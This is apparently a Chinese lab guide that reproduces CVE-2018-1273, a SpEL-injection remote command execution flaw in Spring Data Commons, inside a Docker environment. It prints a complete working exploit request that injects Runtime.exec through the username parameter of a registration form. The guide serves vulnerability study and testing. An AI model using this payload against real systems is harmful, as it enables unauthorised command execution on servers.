Aaron
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1.7 KiB
1.7 KiB
Spring Data Commons 远程命令执行漏洞（CVE-2018-1273）
Spring Data是一个用于简化数据库访问，并支持云服务的开源框架，Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中，存在一处SpEL表达式注入漏洞，攻击者可以注入恶意SpEL表达式以执行任意命令。
参考链接：
- https://pivotal.io/security/cve-2018-1273
- https://xz.aliyun.com/t/2269
- https://mp.weixin.qq.com/s?__biz=MzU0NzYzMzU0Mw==&mid=2247483666&idx=1&sn=91e3b2aab354c55e0677895c02fb068c
环境搭建
执行下面命令启动漏洞环境：
docker compose up -d
稍等一会，环境启动后，访问http://your-ip:8080/users，将可以看到一个用户注册页面。
漏洞复现
参考前面链接中的Payload，在注册的时候抓包，并修改成如下数据包：
POST /users?page=&size=5 HTTP/1.1
Host: localhost:8080
Connection: keep-alive
Content-Length: 124
Pragma: no-cache
Cache-Control: no-cache
Origin: http://localhost:8080
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://localhost:8080/users?page=0&size=5
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success")]=&password=&repeatedPassword=
执行docker compose exec spring bash进入容器中，可见成功创建/tmp/success，说明命令执行成功：
